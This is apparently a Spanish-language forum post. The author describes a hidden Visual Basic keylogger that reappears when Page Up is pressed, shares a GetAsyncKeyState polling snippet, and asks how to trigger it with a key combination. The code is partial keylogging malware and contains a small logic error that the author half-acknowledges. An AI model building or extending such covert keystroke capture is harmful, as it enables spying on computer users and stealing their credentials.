lo puse en un modulo y ya me funciona y con respecto a restaurar el keylogger me hice un "apaño"
modifique el codigo del keylogger para que cuando se pulse la tecla re pag se restaure
y asi me ahorre muchas lineas de codigo y como no le veo ninguna funcion util a esa a tecla a la hora de monitorizar un ordena...
si alguien sabe como puedo hacer una combinacion de teclas en vez de una seria mejor
para el keylogger uso GetAsyncKeyState y he probado a poner por ejemplo
Código:
Private Sub Timer1_Timer()
Dim i, X As Integer
For i = 1 To 255
X = GetAsyncKeyState(i)
If X = -32767 Then
Select Case i
Case vbKeyPageUp & vbKeyPageDown: Form1.Visible = True
ahora que lo pienso tal vez deberia haber usado "and" en vez de "&"